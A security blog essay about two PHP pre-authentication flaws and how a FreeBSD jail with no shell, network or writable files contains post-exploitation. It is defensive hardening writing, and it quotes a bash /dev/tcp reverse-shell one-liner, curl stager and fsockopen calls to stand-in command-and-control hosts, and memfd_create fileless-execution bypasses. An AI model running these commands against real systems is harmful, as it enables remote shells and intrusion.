Vivian Voss

php2shell Needs a Shell

security freebsd php jails

IT Philosophy ■ The thesis.

The pre-announcement arrived on Tuesday, a day ahead of the patch, and word of what it covered was round social media by the evening. Two flaws in the PHP engine itself, CVE-2026-109618 and CVE-2026-109619, both rated 9.2 on CVSS and both reachable without authentication before a single line of application code runs. The first corrupts memory when PHP runs out of it while a request is being set up: the cleanup then treats half-initialised data as valid. The second lets internal state outlive the memory behind it, so that the next request on the same worker picks it up, and session upload progress, switched on by default, is one road in. Both hand the attacker code execution as the web server's user in any SAPI (FPM, mod_php, CGI, the lot), on every PHP branch still maintained; watchTowr reckons the older ones are affected too. The patch shipped on Wednesday afternoon, and the same day watchTowr's honeypots were seeing the exploit in the wild.

The sentence that followed every advisory was the same: patch immediately. Quite right, and you should. The question this piece asks is a different one. What happens on the server where the patch has not arrived yet?

What the attacker needs after he gets in

The exploit runs inside the PHP process. It corrupts memory, it gains control of that process, and from that moment the attacker can execute arbitrary code as the user the web server runs under. Nothing about the jail, the container, or the architecture of the host prevents this first step. The flaw is in PHP, and until PHP is patched the flaw is there. This piece does not pretend otherwise.

What the attacker does next is where the architecture begins to matter. The published post-exploitation playbook is consistent across every analysis of the incident. The attacker spawns a shell, typically with system("/bin/bash -i >& /dev/tcp/192.0.2.1/4444 0>&1") or one of its cousins: mkfifo paired with nc, socat, a Python pty.spawn, a PHP fsockopen. If the first choice fails, the fallback is to write a webshell to a file the web server can reach, or to download a second-stage payload with curl or wget. The vendor analyses published on Wednesday, from SentinelOne's to Elastic's, describe the same sequence, and their detections wait for the same moment: a web server process that suddenly starts a shell.

Every step in that sequence requires something from the environment. A shell binary to spawn. A network stack to call home on. A writable path to drop a file into. A DNS resolver to look up the command-and-control server. Ordinary furniture, all of them, present on most servers because nobody thought to leave them out.

The question from the bottom up is: what if they were never put there?

The post-exploitation chain in a blind jail system("/bin/bash -i ...") attempt: spawn a reverse shell ✗ /bin/bash does not exist system("sh -c ...") fallback: any shell ✗ sh does not exist popen("curl http://c2/stager") fallback: download second-stage payload ✗ no network stack file_put_contents("shell.php", ...) fallback: write a webshell ✗ filesystem read-only fsockopen("c2.attacker.net", 4444) fallback: raw socket to command-and-control ✗ no IP, no DNS memfd_create / /proc/self/mem fallback: fileless ELF execution ✗ no address, no /proc DEAD END code execution, nowhere to go Every published post-exploitation technique requires furniture the jail never contained.

A room without doors

FreeBSD has shipped jails since version 4.0, in March 2000, and a jail in its simplest form is a directory tree with a process boundary drawn round it by the kernel. The processes inside it see their tree as the world, and the kernel enforces the boundary, which is rather the point: the operating system maintains that wall, and no convention of the packaging system or the container runtime is involved.

A jail that runs PHP-FPM needs the PHP-FPM binary, its shared libraries, whatever configuration the daemon reads at startup, and nothing else. A shell has no business in that list. Neither do curl, wget, nc, socat, python, perl, node, or any of the other interpreters an attacker reaches for after the first step. A jail built for one job and containing only what that job requires has no spare tools for the visitor, because the visitor was never expected, and the tools were never packed.

The configuration that produces this is short, and it runs on the machinery that ships with the base system:

# /etc/jail.conf — the PHP-FPM jail, example names and paths

phpfpm {
    path = "/jails/phpfpm";
    ip4 = disable;
    ip6 = disable;
    mount.devfs;
    mount += "/shared/app /jails/phpfpm/srv/app nullfs ro 0 0";
    mount += "/shared/sock /jails/phpfpm/var/run/sock nullfs rw 0 0";
    exec.start = "/usr/local/sbin/php-fpm --nodaemonize &";
    exec.stop = "";
}

Six things are decided in those lines. The jail has no IP address of any protocol, so there is no network stack, no routing table, no DNS, and no way to open a socket to the outside. The application files arrive through a nullfs mount, read-only, so the attacker cannot write a webshell, cannot drop a payload, cannot modify a configuration file. The only writable mount is the Unix-socket directory, which holds the socket through which nginx sends requests and nothing else. The daemon starts by its full path, and apart from the trailing ampersand, which jail(8) strips itself, the command carries no shell metacharacters, so jail(8) hands it straight to execvp and never invokes /bin/sh. There is no /bin/sh in the jail, no /bin/bash, no /usr/bin/python, no interpreter of any kind. And the jail boundary is enforced by the kernel, not by a layer of software that sits between the process and the kernel.

Between the attacker and the outside world Linux distroless container Attacker with RCE controls the PHP process Application runtime present Python / Node / PHP with full stdlib ✗ os.system, subprocess, socket, fsockopen Container filesystem no shell, no package manager ✗ runtime functions remain Namespace boundary same kernel interface exposed ✗ memfd_create, /proc/self/mem Host kernel bypass paths FreeBSD blind jail Attacker with RCE controls the PHP process PHP-FPM binary the only executable in the jail ✓ no interpreter, no tools, no runtime stdlib Empty filesystem no shell, no tools, read-only ✓ nothing to write, nothing to call Jail boundary kernel-enforced since 2000 ✓ no address, no /proc Host kernel all paths blocked Left: bypass documented by HackTricks, memfd_create + /proc/self/mem (DDexec, memexec). Right: memfd_create exists since FreeBSD 13; in the jail it finds no address and no /proc. Sources: HackTricks Distroless; jail(8) manual page; FreeBSD 4.0 release notes, March 2000

php2shell gets code execution inside that jail. The attacker controls the PHP-FPM process. He tries system("/bin/bash -i ...") and /bin/bash does not exist. He tries system("sh -c ...") and sh does not exist. He tries popen("curl http://...") and curl does not exist, and even if it did, there is no network stack to carry the request. He tries to write a webshell and the filesystem is read-only. He tries to reach the database and there is no socket for it in his jail, because the database is a different jail with its own boundary and its own blind network.

The attacker has code execution and nowhere to go with it.

The topology

The jail alone is one room. The topology is a building. A web stack that separates every moving part into its own jail, each blind, communicating only through sockets that the host creates and mounts precisely where they are needed, looks like this:

The topology: four jails, four Unix sockets Internet TCP 443 Caddy TLS termination, reverse proxy has IP address (the only jail with network) Unix socket nginx static files, FastCGI forward blind: no IP, no shell files read-only Unix socket PHP-FPM application processing blind: no IP, no shell files read-only Unix socket PostgreSQL data storage blind: no IP, no shell data rw own dir only Each jail is a kernel-enforced boundary. The host creates and mounts every socket. Tools from FreeBSD 4.0, March 2000.

Caddy terminates TLS and is the sole jail with a network address. nginx serves static files and forwards dynamic requests to PHP-FPM, and it has no address of its own: it sees only the socket from Caddy and the socket to PHP-FPM, and the files it serves arrive read-only through a nullfs mount the host controls. PHP-FPM processes the request and talks to PostgreSQL through a socket the host placed in both jails, and its jail is the one described above: no shell, no tools, no network, no writable files except the socket. PostgreSQL has its own data directory, writable only by its own process in its own jail, with no address.

An exploit that lands in the PHP-FPM jail can read the memory of that process and nothing else. It cannot reach nginx, because there is no shared address space and no network between them. It cannot reach PostgreSQL, because the socket it can see carries only the wire protocol, and the database process runs under a different user in a different jail. It cannot call home, because there is no IP stack. It cannot persist, because every file it could write to is a socket that will be gone when the jail restarts.

Every one of these separations is a line or two in jail.conf and a mount entry that the host manages. The tools are in the base system. They shipped with FreeBSD 4.0 twenty-six years ago, and the mechanism has not been replaced or moved to a different project since.

The comparison that matters

The obvious reply from the Linux side is: distroless containers do the same thing. Google's distroless images ship without a shell or a package manager and leave the usual set of Unix utilities behind as well, and the security argument is the same: remove what the attacker needs.

The argument is sound as far as it goes. Where it stops is documented, and the documentation is unflattering. HackTricks, the penetration-testing reference, devotes a page to bypassing distroless containers, and the first technique is simple: the application runtime is still there. A distroless Python container has no /bin/sh, but it has Python, and Python has os.system, subprocess, socket, and everything else an attacker who got code execution in a Python process could want. A distroless Node.js container has child_process.spawn. A distroless PHP container has PHP, and PHP has fsockopen, stream_socket_client, file_put_contents and proc_open.

The second technique is less obvious and more instructive. Where the runtime can issue raw system calls (Python through ctypes, Perl, PHP with FFI switched on), attackers use memfd_create to load an executable into memory without touching the filesystem and then run it; DDexec reaches the same end by writing to /proc/self/mem. A read-only root filesystem stops neither, and HackTricks notes that /dev/shm stays writable in containers that are otherwise locked down. Neither technique needs a shell. What makes them worth the effort is what a default container leaves in place: a mounted /proc for DDexec, and a network to fetch something worth loading and to report back to.

A FreeBSD jail has none of these paths. The PHP-FPM binary in the jail is the only executable, and PHP's own dangerous functions (system, exec, passthru, popen, proc_open, shell_exec) all need a shell binary to call or a network stack to reach. disable_functions in php.ini can remove those calls from the language entirely, and in a jail without a shell and without a network, what remains is a process that can corrupt its own memory and do nothing with the result. FreeBSD has had memfd_create too since 13.0, and a runtime able to call it could load code into memory inside the jail. That code inherits the jail: no address, no route, no writable path, and no /proc, which is not mounted in the jail by default and need not be. The kernel boundary is a separate enforcement path that has been in the kernel since 2000, with no namespace layered on top of the same interface the host exposes.

Distroless container vs. blind jail Distroless container (Linux) Blind jail (FreeBSD) No shell ✓ No shell ✓ No package manager ✓ No tools of any kind ✓ Runtime present (Python / Node / PHP) ✗ Only the daemon binary ✓ Network by default ✗ No IP address (ip4 = disable) ✓ /proc/self/mem available ✗ No /proc mounted ✓ Namespace = same kernel interface ✗ Kernel boundary since 2000 ✓ 2 of 6 hardened shell removed, tools removed runtime, network and /proc remain 6 of 6 hardened shell, tools, network, /proc, writable paths absent; the runtime finds nothing to use Sources: HackTricks Distroless bypass; jail(8); memfd_create(3) FreeBSD man page; FreeBSD 4.0 release notes

The distance between the two is architecture, and architecture is the one thing a patch cannot supply after the fact.

The limit

Four limits, and they should be plain.

The first step is not prevented. The memory corruption in PHP happens regardless of the jail. The attacker gets code execution inside the PHP process, and that process may hold data it was processing at the time: form contents, session tokens, database credentials in memory. A jail without a network makes exfiltration harder, not impossible in every theoretical scenario, and a process that can read its own memory can read its own memory. The jail limits what the attacker can do with what he finds; it does not undo the finding.

php.ini must cooperate. disable_functions is a configuration line, and configuration is something the process it governs can sometimes talk its way round. An attacker with code execution in the PHP process can, in principle, call any C function through FFI if FFI is enabled, or manipulate the process's own state in ways that disable_functions does not cover. The jail is the hard boundary; the ini setting is belt-and-braces.

This topology costs thought. Four jails, four socket paths, four sets of permissions, a nullfs mount for every shared directory. It is more work than a single container with a shell and an address, and the admin who builds it must understand what each mount and each socket does. The reward is architectural, and so is the price.

Patching remains the first answer. The jail does not fix the vulnerability. It contains the consequences, and containment is not a substitute for the fix. Patch PHP first, always, and then be glad that the architecture bought you the hours until the patch reached your own server, during which somebody else's server was the one that burned.

On a Tuesday the world learnt of two flaws that hand an attacker code execution on three quarters of the web servers on earth. On Wednesday the patch arrived, and so did the first attacks. Between the release of a patch and its arrival on each server, the architecture of the server decided everything, and the simplest architecture that answered was a room without a shell, without a network, without so much as a pen, and without a door.